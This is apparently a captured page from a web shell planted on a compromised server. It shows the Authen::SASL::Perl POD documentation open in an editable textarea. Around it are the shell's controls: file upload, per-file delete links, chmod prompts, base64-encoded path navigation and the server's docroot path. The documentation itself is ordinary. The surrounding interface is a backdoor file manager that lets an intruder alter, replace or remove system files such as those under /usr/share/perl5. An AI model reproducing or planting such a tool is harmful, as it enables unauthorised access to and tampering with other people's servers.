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<hr>Perl.pod<form method=post action="?d=L3Vzci9zaGFyZS9wZXJsNS9BdXRoZW4vU0FTTA%3D%3D&f=UGVybC5wb2Q%3D"><input name="f" value="Perl.pod"><textarea name="t"># Copyright (c) 2004 Peter Marschall &lt;peter@adpm.de&gt;. All rights reserved.
# This program is free software; you can redistribute it and/or
# modify it under the same terms as Perl itself.

=head1 NAME

Authen::SASL::Perl -- Perl implementation of the SASL Authentication framework

=head1 VERSION

version 2.1700

=head1 SYNOPSIS

 use Authen::SASL qw(Perl);

 $sasl = Authen::SASL-&gt;new(
   mechanism =&gt; 'CRAM-MD5 PLAIN ANONYMOUS',
   callback =&gt; {
     user =&gt; $user,
     pass =&gt; \&amp;fetch_password
   }
 );

=head1 DESCRIPTION

B&lt;Authen::SASL::Perl&gt; is the pure Perl implementation of SASL mechanisms
in the B&lt;Authen::SASL&gt; framework.

At the time of this writing it provides the client part implementation
for the following SASL mechanisms:

=over 4

=item ANONYMOUS

The Anonymous SASL Mechanism as defined in RFC 2245 resp. 
in IETF Draft draft-ietf-sasl-anon-03.txt from February 2004
provides a method to anonymously access internet services.

Since it does no authentication it does not need to send 
any confidential information such as passwords in plain text
over the network.


=item CRAM-MD5

The CRAM-MD5 SASL Mechanism as defined in RFC2195 resp.
in IETF Draft draft-ietf-sasl-crammd5-XX.txt
offers a simple challenge-response authentication mechanism.

Since it is a challenge-response authentication mechanism
no passwords are transferred in clear-text over the wire.

Due to the simplicity of the protocol CRAM-MD5 is susceptible
to replay and dictionary attacks, so DIGEST-MD5 should be used
in preference.


=item DIGEST-MD5

The DIGEST-MD5 SASL Mechanism as defined in RFC 2831 resp.
in IETF Draft draft-ietf-sasl-rfc2831bis-XX.txt
offers the HTTP Digest Access Authentication as SASL mechanism.

Like CRAM-MD5 it is a challenge-response authentication
method that does not send plain text passwords over the network.

Compared to CRAM-MD5, DIGEST-MD5 prevents chosen plaintext
attacks, and permits the use of third party authentication servers,
so that it is recommended to use DIGEST-MD5 instead of CRAM-MD5
when possible.


=item EXTERNAL

The EXTERNAL SASL mechanism as defined in RFC 2222
allows the use of external authentication systems as SASL mechanisms.


=item GSSAPI

The GSSAPI SASL mechanism as defined in RFC 2222 resp. IETF Draft
draft-ietf-sasl-gssapi-XX.txt allows using the Generic Security Service
Application Program Interface [GSSAPI] KERBEROS V5 as a SASL mechanism.

Although GSSAPI is a general mechanism for authentication it is almost
exclusively used for Kerberos 5.


=item LOGIN

The LOGIN SASL Mechanism as defined in IETF Draft
draft-murchison-sasl-login-XX.txt allows  the
combination of username and clear-text password to be used
in a SASL mechanism.

It does not provide a security layer and sends the credentials
in clear over the wire.
Thus this mechanism should not be used without adequate security
protection.


=item PLAIN

The Plain SASL Mechanism as defined in RFC 2595 resp. IETF Draft
draft-ietf-sasl-plain-XX.txt is another SASL mechanism that allows
username and clear-text password combinations in SASL environments.

Like LOGIN it sends the credentials in clear over the network
and should not be used without sufficient security protection.

=back

As for server support, only I&lt;PLAIN&gt;, I&lt;LOGIN&gt; and I&lt;DIGEST-MD5&gt; are supported
at the time of this writing.

C&lt;server_new&gt; OPTIONS is a hashref that is only relevant for I&lt;DIGEST-MD5&gt; for
now and it supports the following options:

=over 4

=item - no_integrity

=item - no_confidentiality

=back

which configures how the security layers are negotiated with the client (or
rather imposed to the client).


=head1 SEE ALSO

L&lt;Authen::SASL&gt;,
L&lt;Authen::SASL::Perl::ANONYMOUS&gt;,
L&lt;Authen::SASL::Perl::CRAM_MD5&gt;,
L&lt;Authen::SASL::Perl::DIGEST_MD5&gt;,
L&lt;Authen::SASL::Perl::EXTERNAL&gt;,
L&lt;Authen::SASL::Perl::GSSAPI&gt;,
L&lt;Authen::SASL::Perl::LOGIN&gt;,
L&lt;Authen::SASL::Perl::PLAIN&gt;

=head1 AUTHOR

Peter Marschall &lt;peter@adpm.de&gt;

Please report any bugs, or post any suggestions, to the perl-ldap mailing list
&lt;perl-ldap@perl.org&gt;

=head1 COPYRIGHT

Copyright (c) 2004-2006 Peter Marschall.
All rights reserved. This document is distributed, and may be redistributed,
under the same terms as Perl itself.

=cut
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/perl5/Authen/SASL<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9BdXRoZW4vU0FTTA=="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9BdXRoZW4vU0FTTA==&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9BdXRoZW4="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9BdXRoZW4vU0FTTA==&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9BdXRoZW4vU0FTTA==&x=Q1JBTV9NRDUucG0=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9BdXRoZW4vU0FTTA==&f=Q1JBTV9NRDUucG0="/>CRAM_MD5.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9BdXRoZW4vU0FTTA==&f=Q1JBTV9NRDUucG0=&c=`+btoa(c):0" value="0644"></td><td>368</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9BdXRoZW4vU0FTTA==&x=RVhURVJOQUwucG0=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9BdXRoZW4vU0FTTA==&f=RVhURVJOQUwucG0="/>EXTERNAL.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9BdXRoZW4vU0FTTA==&f=RVhURVJOQUwucG0=&c=`+btoa(c):0" value="0644"></td><td>368</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9BdXRoZW4vU0FTTC9QZXJs"/>Perl</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9BdXRoZW4vU0FTTA==&f=UGVybA==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9BdXRoZW4vU0FTTA==&x=UGVybC5wbQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9BdXRoZW4vU0FTTA==&f=UGVybC5wbQ=="/>Perl.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9BdXRoZW4vU0FTTA==&f=UGVybC5wbQ==&c=`+btoa(c):0" value="0644"></td><td>8037</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9BdXRoZW4vU0FTTA==&x=UGVybC5wb2Q=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9BdXRoZW4vU0FTTA==&f=UGVybC5wb2Q="/>Perl.pod</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9BdXRoZW4vU0FTTA==&f=UGVybC5wb2Q=&c=`+btoa(c):0" value="0644"></td><td>4215</td></tr></table>